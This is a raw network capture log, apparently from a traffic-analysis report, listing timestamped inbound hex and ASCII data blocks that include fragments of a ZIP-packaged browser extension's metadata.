Data Ascii: 4Nt:YY3>\K:AFdr=W{3z=*gn6/{mk96//J7]omt.k_buanu3o&izOdrT;;$%>_Uz;)6YbQ0*ux:.f*7+{O!<5H^bK/

2021-11-25 16:27:48 UTC 1239 IN Data Raw: 58 33 c4 9a ad 58 1e 6c fd 35 d7 c4 ec a6 0d d1 a9 20 11 51 12 7e 88 ac 8f 66 eb 43 13 53 18 7c 88 a8 bf e5 
69 2d fd 01 53 fb 7b 9e f8 81 87 1c e2 2e 0d 33 31 27 1f 12 48 70 d2 c1 0b e6 28 c3 18 45 62 d6 a0 ca 91 4f c2 13 66 0b 
cd 2f 70 78 e3 29 40 07 b6 ba af fb 22 36 63 5f 44 df 5e b6 cb 6c 75 59 91 17 c2 c1 b0 29 1f 35 e5 a3 26 3f 3a 37 43 7b 1d 
85 79 bc a8 a2 03 fb 31 5c 48 37 d8 50 38 c9 ee ef 98 98 cf 9e dd fa be e2 8f 32 3f 5e 56 05 3f a9 2b f6 b0 65 4e 20 21 a9 
35 7f 3e 74 7e b4 5b b0 41 b3 1d 30 ed ee c7 be 91 40 fc 21 ac 3f ec 98 19 89 b2 11 7a 9a c1 dd 08 7b 99 ed 37 75 ab f5 
e0 8a b8 b1 44 97 e7 60 31 7b 49 cb 7a bc 98 bb da ca c5 ef 20 a7 89 b8 02 1e 8f 66 15 5e d1 0a 0b 44 f1 33 3d 60 75 56 
bd c4 59 1c f1 d4 ba 96 6a 47 73 12 98 55 bd 5a d6 
Data Ascii: X3Xl5 Q~fCS|i-S{.31'Hp(EbOf/px)@"6c_D^luY)5&?:7C{y1\H7P82?^V?+eN !5>t~[A0@!?z{7uD`1{Iz f
^D3=`uVYjGsUZ

2021-11-25 16:27:48 UTC 1241 IN Data Raw: 21 22 a2 1b d1 00 06 33 16 c4 6c 55 49 b2 bd 39 7e f3 4c 7d 4e b2 34 0f 81 36 c1 94 03 27 7f 82 29 bd e9 0c 
58 31 19 94 76 88 87 5b a9 ca c7 4b bb f9 7b 76 2d 0c 3a 7d a8 36 1e aa b7 33 8b dc d5 2a e5 b5 e5 b5 95 ca fa d2 0a d0 
22 8f e7 3f 7a e3 cd 1c 6c 38 69 d2 07 4f 94 20 9b 47 39 b9 6c 23 d9 52 12 5a 21 a2 23 5b 92 d2 15 44 da cc be 08 fa c3 
34 ee 9d aa 79 48 1b 14 06 9f b9 fc 03 0a 58 33 e9 ab aa d1 57 e2 7d 1a 2f 48 13 5a 99 09 6d 6a 4f 72 b7 bc a7 07 cc 80 
40 c9 8c e7 5b d0 a7 ef 03 f3 d3 1a 9f 83 1a b4 c1 25 a0 e9 6a 42 3f 9b bb d5 a5 e2 89 90 3d 06 92 3d 8a c6 98 bb fe 43 
2b 19 26 ab 5a 71 35 51 25 c9 d1 92 2d 2c e3 59 05 d3 0f cd 34 cb 26 39 63 8e 56 24 68 e4 b2 46 3c 0f 99 81 b4 31 24 b0 
ed 30 01 6b ea 7e 1c f7 08 eb 7b 8b b2 28 6e c1 d9 cf d3 
Data Ascii: !"3lUI9~L}N46')X1v[K{v-:}63*"?zl8iO G9l#RZ!#[D4yHX3W}/HZmjOr@[%jB?==C+&Zq5Q%-,Y4&9cV$hF<1$0k~
{(n

2021-11-25 16:27:48 UTC 1242 IN Data Raw: 0b e0 66 6f 97 fd b3 ec 5f 0f e4 7d c0 61 0d 36 90 b8 14 59 36 f0 01 df 5f 45 0d 01 bb 73 d9 d7 03 ab 3e a8 22 
de ce 23 ae ee 95 b5 95 2a 48 1a c8 2c 1b 2c fe cf 19 1b 67 47 40 02 6c 96 b4 3f b1 55 72 19 5a 17 f6 49 db d8 0d 7b 93 
76 0f 51 5e 28 03 fc b7 5d b8 fd 05 59 58 29 92 60 02 84 d1 10 95 ba 70 3e ea 50 54 85 80 3c c0 9b a9 4c 81 a2 6b 98 2b 
a6 c5 15 44 13 9f f8 8e db 9b 34 e1 b4 80 49 a1 ad fa 26 be 26 c7 d1 3b d0 7c 59 08 4b 42 9c 72 b6 77 d9 61 a4 02 1f 42 
17 4b 70 18 18 4d 3c 16 a3 cd b2 0d 72 7d 0a a7 67 23 c9 26 98 3f 18 27 e3 16 48 3d f5 af 20 d3 c1 8f 41 38 74 8d da 01 
fd a0 28 81 5e 38 2e 6c bf 0c 3a 7d 4c 5d 5d 6b 35 f1 c1 4e 1b f6 fb fe 8b 51 f3 42 20 91 20 fa 68 58 78 7b b3 85 e9 5a 27 
dd 0f 1e 01 3e c1 83 d0 a8 75 b1 06 ce 4b 23 f5 1c 
Data Ascii: fo_}a6Y6_Es>"#*H,,gG@l?UrZI{vQ^(]YX)`p>PT<Lk+D4I&&;|YKBrwaBKpM<r}g#&?'H= A8t(^8.l:}L]]k5NQB  
hXx{Z'>uK#

2021-11-25 16:27:48 UTC 1243 IN Data Raw: d9 b7 c6 68 14 2e 19 f6 12 5f 8e c2 65 c3 5e 11 b7 57 7e 56 0c 7b 5d fd 80 52 95 4f f8 cb 7d 7a 31 ec e5 25 4c 
32 0f b2 26 71 3d 4a f7 9e 27 70 ee c3 fa af ab a0 25 5f 83 ec d5 7f 25 82 96 9e db cd b6 51 13 83 b4 24 c2 34 42 94 5b 41
b4 57 0f 2a f5 20 6c ba 93 ce 58 de 28 8b fc c5 cf f9 9e cb e8 29 3b 2f 92 c8 bf 27 00 90 a2 ff 8e dc 1e b0 19 15 fe c7 e7 e7
3d 81 11 a8 52 06 a8 a0 bf 2e c2 1a ea 59 0a d4 b9 7c 8f 6a f6 71 af d2 73 f6 ec ac eb 01 80 37 88 a8 65 c9 c3 b9 38 cf 97 
65 e4 e1 bc ca 78 e2 cb 1c 04 b7 77 20 dc 65 19 f1 16 af 4c 90 11 ea cf 3a 73 1c 61 2e 70 7d 8a 70 4c 76 d5 19 37 5d b8 
3f 48 97 35 55 de 10 99 6c b9 3d 12 93 68 5a b6 36 1c e2 47 17 c1 2d 05 bf db 9b 1d 1a e8 32 f0 e7 3c 1a b9 fe 42 08 ce 
1d 8b d6 00 67 c4 06 81 d3 72 9d 33 1c f4 
Data Ascii: h._e^W~V{]RO}z1%L2&q=J'p%_%Q$4B[AW* lX();/'=R.Y|jqs7e8exw eL:sa.p}pLv7]?H5Ul=hZ6G-2<Bgr3

2021-11-25 16:27:48 UTC 1244 IN Data Raw: 77 48 30 73 c8 2d 49 9c 0b fe 82 f6 c2 5e 34 6e 11 60 b1 13 a2 01 57 1b 06 03 58 6a 2c 88 8b c5 07 72 31 0a 
dc 66 33 fb ae c8 7a 8b 9c 5f 55 14 cd 84 16 83 fc 09 b1 a2 98 5a dc 88 4c a2 33 d1 14 06 23 33 a5 34 b1 66 88 9e 6c 54 
b3 89 99 01 5a 78 72 b8 06 02 41 b2 a2 03 10 42 28 8b 3e 23 9f e9 88 3c 0a b4 5c 7e e5 2a 0f 61 59 5c 6c 23 30 13 d9 f8 
5c a0 07 4b fc 42 80 b5 56 a8 c4 43 b6 06 ba f0 2a d1 de 59 ee 62 7e 7b 1a a2 46 02 27 b3 3f 19 d7 96 b7 57 d0 09 0e 71 
36 fc 49 97 60 ff e4 95 0d 2b 25 20 93 80 46 59 4e 27 32 55 01 e3 7c f3 6c ff f4 c2 c0 78 d7 b7 7e bf 16 da 37 91 74 13 b1 
79 85 9f ff 32 4f 1f 5c 90 ae a5 08 de 75 24 43 14 5d 68 a8 ab da ea f6 32 0c 10 a6 6c 6b c5 8e 04 c4 20 e1 a9 a9 f1 92 0d 
18 6a 02 30 80 79 a0 40 d9 2f 55 b3 62 1b a2 64 01 
Data Ascii: wH0s-I^4n`WXj,r1f3z_UZL3#34flTZxrAB(>#<\~*aY\l#0\KBVC*Yb~{F'?Wq6I`+% FYN'2U|lx~7ty2O\u$C]h2lk 
j0y@/Ubd

2021-11-25 16:27:48 UTC 1246 IN Data Raw: b3 db 0f c2 3f c5 61 f5 3b 3c ac 6e 10 70 7b cc c2 0a 52 12 0c 08 3e a6 93 3e 8c 49 23 7e 0e f7 e3 40 5a a4 6c 
3f 66 71 a5 4d ce 64 a6 a0 57 15 26 20 74 00 ba 11 8a 6e 70 7c f7 ec 9e 34 45 b9 91 5a a2 79 a5 e6 a2 4c 87 61 7a 61 f7 
04 21 a6 e7 a3 96 4a eb 2f 0d 20 77 fa 18 b6 3f 8a 65 4a 58 81 d0 63 e8 9f 3e 15 eb c4 1f db d7 be af 89 df 47 ab 7b 3b 0f 
ec e5 e5 29 16 6b 2c 01 4b 16 6f b3 91 4c 1e ee f9 8e 5f 47 db 42 af 49 a0 b1 ed 0b 42 8d 14 fb 5e 50 e7 c3 d6 f5 1a 9c a5
bd 96 74 9c 65 f3 68 f7 9e 11 a5 24 d8 16 ee 91 41 a9 d7 a6 73 1f 16 f8 be 96 38 46 86 a5 9e ef 44 f5 2d 3c 11 4e ed b7 1f 
8f b5 a0 74 1f d9 3b 13 f8 bb 09 ac 87 85 cc 0b 0c ad e5 f7 dc c0 58 f3 d5 77 38 69 b7 06 68 47 bf 0f 29 6e 03 c4 08 89 ef 
cb 25 a0 69 6c 8d 7f 8c dd 77 58 7b 4f c3 
Data Ascii: ?a;<np{R>>I#~@Zl?fqMdW& tnp|4EZyLaza!J/ w?eJXc>G{;)k,KoL_GBIB^Pteh$As8FD-<Nt;Xw8ihG)n%ilwX{O

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1247 IN Data Raw: b3 ec 4a 4f 30 37 ee 0c f4 71 d8 d5 08 7d 83 bc 40 c7 7d 31 9c 72 70 c7 2d 77 4c 04 de c3 60 56 26 f3 12 0b 
05 0f f0 d5 89 29 96 6b 7c a5 5a 46 fb c8 d8 1d c2 cb 09 00 16 87 a3 fe 55 be 0a 87 ae d0 6c 0f 47 63 9e 25 24 98 07 58 
79 33 1a 5b 2b 8b 7c 34 8b 86 0d 73 2b 8f d5 54 e9 a0 9b 3c 2e 3b f2 b5 22 86 e3 f0 07 ec 15 fc ed e4 14 74 2c 5a 05 96 
c3 2f ed cd aa 2f 03 e6 fa 52 99 5d fa e2 22 db 93 e6 c3 fd 00 e5 0d ac 70 ee 99 4a f7 f6 43 6e 67 a2 32 2c 27 de bf 44 7f 
4e 74 c6 d8 a7 2e 7d 59 37 c5 71 
Data Ascii: JO07q}@}1rp-wL`V&)k|ZFUlGc%$Xy3[+|4s+T<.;"t,Z//R]"pJCng2,'DNt.}Y7q

2021-11-25 16:27:48 UTC 1247 IN Data Raw: 07 7a 35 ef 5a d2 1b b9 95 39 03 0a 9f 4d 4f 21 6a 1b 35 a1 78 3b c5 cd 03 e3 39 b6 42 b6 25 a0 03 27 b0 fe 
db f2 5d 12 59 db a8 cd 2a fd 48 46 6b 84 1c ca 00 57 18 4b 06 da fc f1 fb a7 49 a4 ee 60 76 7b d7 fa db a5 5f e8 b6 67 2a 
97 6c 3a 29 15 c8 12 c2 12 52 2c e5 9c e6 4b 39 c0 12 a4 2f 7f ea 6d ca 99 5f b8 fb c3 87 ce 83 24 78 a0 62 7f 5a 78 90 b3
e9 8e d8 ba df 3b 0a 3a d7 65 0a f0 e5 f4 c3 60 04 74 9a dd 63 41 49 52 85 12 74 da f0 8e 53 49 10 08 9c 53 ba c1 e7 36 
7a 1f 74 a5 5c 73 92 10 34 e7 34 cf 3e 68 d1 c6 44 0a 07 ae 8d 7e 22 44 67 be 73 4a 2f 93 f8 ce 64 d7 6b a9 38 07 0f cd 
a8 c8 7d e0 44 0d f4 81 78 8e 59 ee 5a cb e1 ad 6c 9d 96 f6 9e d8 d7 1b 24 59 e1 3d 2e a5 59 0c 17 d1 74 08 c4 76 d1 f0 
e7 8e 46 7d bf 8d 7e 35 62 7b c0 6d 8c fa d5 72 d0 
Data Ascii: z5Z9MO!j5x;9B%']Y*HFkWKI`v{_g*l:)R,K9/m_$xbZx;:e`tcAIRtSIS6zt\s44>hD~"DgsJ/dk8}DxYZl$Y=.
YtvF}~5b{mr

2021-11-25 16:27:48 UTC 1248 IN Data Raw: 4d e4 70 a4 33 69 29 ff 17 21 03 06 b1 68 22 e4 40 0a 6b 46 4d aa f0 d8 e2 bd 80 5e b6 5c 4b 10 fc 3b 9b 1d 
4d 7c 3f 0c 03 81 f3 27 01 7b b2 92 11 3a 42 da 73 f7 d7 39 ce 63 29 e9 52 30 79 5f 63 f2 cc a8 81 99 3f 65 7b 60 a0 b4 
b9 cb 71 6e 22 a6 cc 2d 5d 49 51 a3 82 c7 e9 5d ff f7 ef 16 87 02 ba 68 54 41 33 d3 93 c9 52 d1 c2 42 d0 b8 aa d6 18 94 
b0 dd c3 70 34 18 e5 0d 4c 13 96 e0 65 57 b6 31 6e fb 0f c8 cc 9e 10 02 99 76 4c 7a e5 54 bd c3 2d 1d 92 9e f8 50 be e2 
aa 9a e2 88 87 71 2b 63 9a ce 43 d9 8a 94 93 37 dd 4e 87 35 61 22 69 5f 38 3e 4c 8d 25 7c f1 a3 4b c8 80 ba b0 fc 8d 69 
2a 45 51 7e 86 a2 d8 d5 c4 43 82 f2 e3 cd 6e e6 cb 0a 7d b4 5c e4 9e 22 80 7a bf b1 34 60 7b 92 84 de db 9e 4e 36 73 3e 
ba bb 13 81 7c bf ca 48 da f2 a4 2b d8 3f 99 e5 93 56 a2 
Data Ascii: Mp3i)!h"@kFM^\K;M|?'{:Bs9c)R0y_c?e{`qn"-]IQ]hTA3RBp4LeW1nvLzT-Pq+cC7N5a"i_8>L%|Ki*EQ~Cn}
\"z4`{N6s>|H+?V

2021-11-25 16:27:48 UTC 1250 IN Data Raw: b8 3d c1 2d 3d 0d fd 09 bf 1d 3e 44 3b 12 68 86 be 02 a3 2f c0 3a 09 72 8a 90 5d 36 2e 22 57 b4 5f a4 56 39 
41 4b 8e 5f e4 26 7c d9 7e 4e 4f ac b7 49 27 c7 8a 4e dc d5 ff 8b e2 fc a8 0b 20 e8 1b 0a 4d b8 b0 5c 59 2d 1b 8c c6 8d 
4d 3b 98 92 91 1d 78 0f f2 d5 cc a8 63 f7 f0 c8 9e 32 41 e5 b0 58 42 73 f3 7d d3 55 9e 16 33 0c 6e 85 20 ed 69 21 5b f7 
ea c4 91 e6 0c 09 60 21 06 96 11 ec fa bd 0f 4f ed e1 78 82 b2 fd 68 e8 17 c8 8e f1 dc 0a 41 ac ef 75 5e 0b fa b3 51 61 d4 
22 ae e6 85 85 09 22 29 c6 07 6c d4 7e 12 00 27 1c dc e9 cb fe d0 cd 88 7b 47 c5 e1 e8 0b 9b b8 8d 74 9a 36 23 a1 25 50 
6f de 7e be 4e 6f 96 d9 99 b2 de 34 12 51 50 d2 05 03 37 c4 2b 75 44 87 b6 d2 e2 2d e9 d9 ea 02 fd af 74 08 f4 41 0b ec 
05 97 c0 21 36 b9 b4 56 5e 46 76 71 ea 3a 1b 4f fa 0b 
Data Ascii: =-=>D;h/:r]6."W_V9AK_&|~NOI'N M\Y-M;xc2AXBs}U3n i![`!OxhAu^Qa"")l~'{Gt6#%Po~No4QP7+uD-tA
!6V^Fvq:O

2021-11-25 16:27:48 UTC 1251 IN Data Raw: a4 6c 4b dc 2d 82 ad 63 6d 2f ab 19 28 72 13 1d e4 f0 af 10 95 ea 08 18 1c 90 ae 59 78 50 b5 f4 27 74 72 73 f3 
38 26 6a 4a 25 cf 3c 42 da 6c a2 23 02 0c c2 51 5e 44 67 0b d3 8c 1d b0 92 a5 8b 1b 9f 00 25 a1 3d 5f 4c 9a 72 15 f3 94 
fa c4 b3 10 7f c5 f6 f5 81 f7 e2 81 f7 70 e0 2d ab 46 cf 61 0a ec 87 d4 86 a5 0b 01 9e 08 33 da 8c 71 a0 3d 21 b4 b6 8b 78 
78 54 e2 9d 87 f2 47 05 0e 35 76 25 bb e1 f4 c3 d4 3e c6 be c3 c2 22 d3 26 a8 bf 76 31 c1 cf db e9 ad cf f7 e7 f3 1d 52 68 
38 66 7a ab dc 17 19 cf f1 3e dd de 26 ea d3 0d 66 2c c6 8c a6 e5 71 6e a9 bc ba 1a 4b d0 70 90 5b e1 2d 16 da bd 49 1f 
e0 3c 84 92 8e 15 c4 5c 65 63 4d 46 d7 a0 ba 19 66 b0 dd 44 71 a6 e7 d1 c1 fc 3e b3 04 34 17 53 9c 67 0e 93 3a ee 93 
74 ca 49 a1 46 05 18 5e d4 04 11 57 f4 52 b1 28 ca 
Data Ascii: lK-cm/(rYxP'trs8&jJ%<Bl#Q^Dg%=_Lrp-Fa3q=!xxTG5v%>"&v1Rh8fz>&f,qnKp[-I<\ecMFfDq>4Sg:tIF^WR(

2021-11-25 16:27:48 UTC 1252 IN Data Raw: 44 22 c5 af ac d7 17 f5 3c 28 c7 a1 8e a3 c9 00 8d 16 21 3b 96 53 b4 63 61 28 4d b7 fd 1e 7a 90 20 36 92 72 
77 9e 4e eb 3f ae f4 b0 93 b0 17 64 57 5b 44 f7 51 39 96 2c dd 1e 9d e4 7a d9 1b 38 b2 86 38 96 46 7a b4 4b 7d 2e d1 40 
bf b7 39 c3 cd 9e a9 13 48 88 57 4c 3f b9 62 ae ff 44 fc ef de e7 15 4a 1d 79 67 a4 76 fd 48 42 a2 c4 9b f1 bd f3 72 96 d8 
9b 12 bb bb be 43 b9 24 ec 25 72 b2 07 20 f4 a1 1a 67 6b bc b0 b0 8f 48 66 e8 51 49 94 df 2f da d7 56 bd 3f 7b 6f 1f 08 be 
5a bf fe 87 5d 78 90 1c a5 4d ce b2 14 2b 53 ec af 62 c7 43 1a 28 6c 26 63 1f 18 0a ea 60 46 09 71 c0 87 12 fb 19 8e 39 
28 c6 98 7c 38 30 3f ae cc ef 57 b8 ff ea 88 5e 88 78 f0 d6 1f 62 ce 9f 00 73 75 74 dd 97 b3 90 ac 6c dd f6 78 54 43 9f 0f 
18 bf 2e e2 97 66 01 89 b1 d5 5f 0f 66 40 eb 49 
Data Ascii: D"<(!;Sca(Mz 6rwN?dW[DQ9,z88FzK}.@9HWL?bDJygvHBrC$%r gkHfQI/V?{oZ]xM+SbC(l&c`Fq9(|80?W^x
bsutlxTC.f_f@I

2021-11-25 16:27:48 UTC 1254 IN Data Raw: 51 96 c4 5f c6 41 5b 67 e3 c1 5e 88 48 eb 5b 93 ee 40 42 94 d3 87 e9 b8 82 1e 5a 94 11 90 9c 2b 09 2b b2 0b 
13 e0 f8 8d b8 49 05 66 35 ab 6d 5a 0e d9 86 47 85 16 95 2b 04 58 50 2e d8 b6 f4 f9 63 b7 1a ed cd 35 34 74 66 53 f7 c2 
b8 9d 2f 53 ee e1 1c e1 52 f6 f1 ec e2 34 f1 36 15 8e 37 a3 6f 79 1f ed 27 c1 8a b1 f1 03 99 02 74 24 52 80 a6 df f3 8e d6 
17 8d 12 03 61 23 4e 49 28 33 f0 d6 d9 39 29 ac a3 f6 00 be bc d3 30 e3 af 21 5c 45 7c dd 70 3c 48 bc 4e 78 ae 14 10 9f 
bb 53 40 c0 71 e0 2c d7 a1 07 87 62 c9 43 0b 2d 97 c4 e2 e1 58 c2 a2 75 66 e9 30 3a d7 82 7e a6 34 f8 f4 b9 7f a2 1f 74 
8b 16 ef 94 2f 03 11 1c 99 ad e0 71 30 18 98 65 01 0f fb 40 a7 17 19 79 29 69 52 0e f4 09 3c c7 1e 8b 24 ab f8 35 20 a0 23
7e 9c 78 4d 76 98 0d 9b b6 15 fa 45 01 6c 7b 31 d2 
Data Ascii: Q_A[g^H[@BZ++If5mZG+XP.c54tfS/SR467oy't$Ra#NI(39)0!\E|p<HNxS@q,bC-Xuf0:~4t/q0e@y)iR<$5 #
~xMvEl{1

2021-11-25 16:27:48 UTC 1255 IN Data Raw: 54 56 d0 80 40 07 34 94 c2 3c f6 72 53 39 2a 7c a9 64 8a 2d fe 7d 27 c4 cd 92 af 11 2d 38 63 76 8a 58 72 e0 
34 ad e7 bb 98 c5 11 2e 46 bb f5 63 b3 6b af 61 6a f3 73 b3 05 17 5d d8 6f 40 0e 95 3b 6e 4b 05 ab 7c 9f 99 5d e4 bb 2c 
91 70 83 8a c8 a5 8d 9d 8f 1e 63 07 1e f9 6c 20 9f 0d b3 cf 1e e5 b3 51 f6 d9 50 3e 1b 67 9f 8d e4 b3 49 f6 d9 44 3e 7b ce 
3e 7b 92 cf 9e b2 cf d0 e2 cb c9 4b 5e 26 d2 ff d1 31 f6 8f f7 2f f6 37 0e 8d 5c 85 de 6e f2 e7 5e 22 23 1b d3 61 22 ed 8a 
9e 82 e4 4a 9a 00 82 ec fc 09 5a 6c 42 a1 88 8d cc 2f 45 fb e6 9c a9 ed 21 ad 01 13 f8 01 ca 25 de 41 6f aa 74 9e 6a 62 
85 59 77 3c 9f aa 6c 39 7e ec d7 3d 3c c3 46 70 f7 c0 30 7a 78 fb 4b c2 85 a8 3b cb da 7f 48 d6 fe 44 e1 c7 3c 08 3f fe fa 
54 49 01 bd 32 d3 95 a0 93 2a ff 3c b3 1b 5d f6 
Data Ascii: TV@4<rS9*|d-}'-8cvXr4.Fckajs]o@;nK|],pcl QP>gID>{>{K^&1/7\n^"#a"JZlB/E!%AotjbYw<l9~=<Fp0zxK;HD<?TI
2*<]

2021-11-25 16:27:48 UTC 1256 IN Data Raw: b7 93 53 73 4c 98 ce 96 5d 29 57 ac 92 07 0c 23 ea f7 a3 4e f8 01 5d 27 05 be f5 9d 88 b7 16 f0 cf 01 a2 3f 63 
f4 fa cd 29 f0 ec 2b f8 c7 92 1e 88 68 c3 f1 9c a7 6f 94 76 14 23 9e 61 1f a0 7d 92 58 28 46 8b 3c ba e8 e6 79 7b 57 47 c6 
43 08 20 8f 08 a0 12 fb c1 66 b8 90 c6 79 42 c5 73 10 1f 12 77 de 90 42 53 64 32 3d 7c f9 23 be fc 86 1b a6 38 77 57 1d 
0d 84 40 45 08 42 98 ce 4a 1a f3 b3 90 1f 14 f4 ba 03 1b 7b e9 97 ab a7 a5 79 89 59 4b 7d 2e b1 75 0c f2 dc 77 b0 28 9a 
49 be 84 14 5a 4c 92 c5 4f ec ea 4f 81 3a 00 83 c9 b1 a3 c2 83 14 13 ae a0 33 9a 7c 1f 42 7b cb 7c 7f 57 7a ca 3f 9a b2 80 
d2 fc 79 7a 7c 3d 67 01 c4 f7 49 2f 41 0a b8 c8 b3 77 13 b8 34 1c e8 28 c0 47 d3 fa 22 98 34 6d 0a bb 3c d6 a8 ac 4d 40 
59 66 9c 2b 5d 6d 67 98 67 a4 3c a9 d0 8c db 94 
Data Ascii: SsL])W#N]'?c)+hov#a}X(F<y{WGC fyBswBSd2=|#8wW@EBJ{yYK}.uw(IZLOO:3|B{|Wz?yz|=gI/Aw4(G"4m<
M@Yf+]mgg<

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1257 IN Data Raw: e7 02 d6 6c 37 f1 22 02 5a 8f 3e 4b 60 9f 7a b4 b8 68 31 b7 69 f7 60 bf c6 2c 75 b7 d1 1d c1 bc 37 4c 7f 71 11 
6a 07 bf 7f cf 77 02 f3 05 24 17 7c c4 48 62 96 55 33 08 03 3a 53 0d b6 8b 10 ea 35 9d 66 7e 3d f4 66 77 ca 9f 31 a4 be 
03 7f 31 ce 2b a0 d4 87 f7 75 ae 83 c8 f8 a8 20 fc fd bb c9 8e 04 4a 2d b7 4a 2b 43 61 eb ac b0 34 28 7e 7d d2 68 15 95 
30 7b 49 25 4c 2b b1 d8 a0 1d 5a 60 6f 31 de 44 bf aa 98 94 ed 49 f3 ad 1f 9b 6f 7d bb 62 c7 2e f8 68 c7 f5 ec 35 ca 60 e1 
6c 3d 10 88 31 de 59 8f 0d 39 31 e6 80 b0 84 3d 94 fc 64 3e 3a 01 4b cd 87 f3 88 53 d4 12 c8 40 35 66 59 5b f8 8a 2d 5d 
65 54 27 6d d8 5e 2b 4e 62 42 dd 47 e7 07 98 66 2e 46 0a d1 00 fe bd 80 f3 6a cb 9a f2 07 bd 90 9c 61 fb f6 89 c6 91 85 
46 03 f7 12 42 d9 b8 91 cf 26 5a 26 c4 d4 a7 3c 94 
Data Ascii: l7"Z>K`zh1i`,u7Lqjw$|HbU3:S5f~=fw11+u J-J+Ca4(~}h0{I%L+Z`o1DIo}b.h5`l=1Y91=d>:KS@5fY[-]e
T'm^+NbBGf.FjaFB&Z&<

2021-11-25 16:27:48 UTC 1259 IN Data Raw: 10 d8 42 10 24 1d 80 75 d6 52 ae 87 f1 07 c3 69 cb 92 8f 9a c4 51 3c 78 fb 1d 4c 15 26 d4 e2 42 1f 2a f5 f2 67 
27 aa 47 1f 3e 48 07 d5 26 32 1e ff b6 75 87 d0 c9 fc a6 16 ea 8e c4 95 35 c5 38 1a 44 63 0d 4d 1a b9 40 4f 8b fe 72 90 fa 
08 e0 60 b4 98 50 6f 1e 5b 60 b4 63 68 dd ff 8c 2c 46 f4 19 4e 96 96 ac 12 dd fa 77 e8 87 91 67 b8 39 4e ea 59 dd 20 f5 
5a 09 f2 21 50 c0 6e dd 3b b8 0b ff a6 6a 46 59 5f 6f 26 cf c5 c5 58 1c dc 43 7a bb 74 cd 1b 71 f2 da e1 35 62 d5 57 ca 15 
0c 4b 36 b7 d4 9a 3d 8a 99 01 f9 ad f7 dc c9 b8 05 42 fe 2f 4a c2 79 56 94 e6 09 21 d4 2a e1 c5 aa ad 54 ca d4 d6 b9 28 
03 d2 f8 85 58 d2 56 6d f9 b3 88 4c d7 df b5 21 52 be 08 8f 20 21 30 a1 cb bf e4 45 cc 29 2c 5b b6 59 d1 db d4 5a 42 c8 
a0 d7 77 b5 44 7f 77 05 82 21 9c 0c ec f5 32 8d 
Data Ascii: B$uRiQ<xL&B*g'G>H&2u58DcM@Or`Po[`ch,FNwg9NY Z!Pn;jFY_o&XCztq5bWK6=B/JyV!*T(XVmL!R !0E),[
YZBwDw!2

2021-11-25 16:27:48 UTC 1260 IN Data Raw: 21 ba 01 19 fc a2 a8 cb 8b ff aa 58 ef de 9b 46 77 58 ea b6 09 25 4d 8d 5b ba 9e 0d 55 78 8a ae ff d0 c9 6e 18 
e2 81 61 24 95 8f 9b 42 a1 3f 36 af b9 c3 d7 ff d8 e1 23 d1 44 dc e1 44 9d 19 2b ef a7 7a 33 7f e0 f7 a4 48 a1 f2 dc 71 9a 
3b fa f6 fd 25 53 4d cb c9 01 2c c2 31 de d8 84 23 c9 45 d3 35 b3 12 8b 97 20 43 ac b6 01 07 c6 8b fe 03 4c 22 32 7b 4b 
37 1a a7 7a fd cd 4b 74 67 06 9f 8e 96 cd ef e2 14 85 e9 d4 d1 28 9b 63 16 56 9e ff df 70 43 a2 d3 5c e2 5d 49 39 e4 32 f9 
28 1d 78 eb 3a f2 8d 52 cc 52 d4 2d 26 c0 7c 3a 22 17 77 3a 30 08 b2 b9 9e 49 36 e9 d9 b3 5b 48 36 73 ff 1b 50 4b 07 08 
94 8d 3c d4 71 08 03 00 52 5d 09 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 13 
00 00 00 6d 69 72 72 6f 72 69 6e 67 5f 77 65 62 72 
Data Ascii: !XFwX%M[Uxna$B?6#DD+z3Hq;%SM,1#E5 CL"2{K7zKtg(cVpC\]I92(x:RR-&|:"w:0I6[H6sPK<qR]PK)Qmirr
oring_webr

2021-11-25 16:27:48 UTC 1261 IN Data Raw: 74 61 64 61 74 61 2f 76 65 72 69 66 69 65 64 5f 63 6f 6e 74 65 6e 74 73 2e 6a 73 6f 6e 95 59 5d 73 a3 38 d6 fe 
2b 5b 7d bd 53 85 c0 38 ed bd 8b 0d 02 13 23 07 a1 0f d0 d6 56 17 20 62 0c 02 13 1b c7 c0 d4 fc f7 55 7a e7 e2 dd e9 6e 
af df 8b 54 ca 36 20 ce a3 73 9e 0f f8 e7 ef 5f 64 79 29 ce c7 7e 38 9e ba 2f ff f8 32 9c cb b2 ca 2e d5 df fa f2 fc b7 b7 a3 
2a bf fc fd cb e5 78 e8 4a f9 ad 38 75 43 d9 0d 5f fe f1 fb 97 3e 9b d4 29 93 fa f8 72 0a ea dc b4 0d c1 6d 23 31 ab aa 30 
2b 55 4c db 25 b7 2e c7 b4 1d 3f 52 73 78 2b 4c b5 14 f1 76 89 9c 67 1b 1d 6f 47 e1 a9 4e 24 c8 d8 d6 a7 a3 3e be 0a 6b 
6a 6e 3f bf 6f d5 45 24 e1 71 af 86 a7 6d b7 ae a4 77 38 ee 8f c1 5b ee ad ea 94 8f fa ba ab 2a 8f 57 83 3e 77 4e b9 d4 9f 
ed f7 c2 5c 5d 3f cf 2d da d5 87 84 ab 53 
Data Ascii: tadata/verified_contents.jsonY]s8+[}S8#V bUznT6 s_dy)~8/2.*xJ8uC_>)rm#10+UL%.?Rsx+LvgoGN$>kjn?
oE$qmw8[*W>wN\]?-S

2021-11-25 16:27:48 UTC 1262 IN Data Raw: 8d d5 b8 77 ab 1e f9 fd 3b 85 a8 8f 3d 10 a6 bc 5f a7 ec eb 2d 35 c6 1b aa 05 2c 3b 11 c9 5a 41 de 60 40 7d 6c 
44 f4 eb dd b9 cb 1e e6 bc 40 84 6e b0 0d cd 60 a3 fd 14 8a 5d ad 3b ad 60 68 8e 00 4d 54 af 7b bf c7 5c 78 61 c2 96 a1 
39 10 cc c4 89 98 41 58 b8 77 b1 ef e5 f4 a0 c7 25 12 84 cd b8 d3 35 ee 78 b2 1d 32 2a 68 d1 08 9e 83 fe 43 b6 ab 29 d2 
76 af 30 d9 7e cf 01 8c e9 68 a6 16 fc 28 0c 85 ee fb ac fe 51 9f 05 50 a2 71 21 e2 45 78 81 1d 5b 68 1d d5 30 c8 79 bf 4f 
09 bb e6 04 5e 23 a5 1c 62 29 a1 fb 11 15 d0 d5 fc 88 dd b0 66 ec 2e f6 e6 e2 d1 be 77 e5 5c d1 94 06 15 82 ab 44 76 ea 
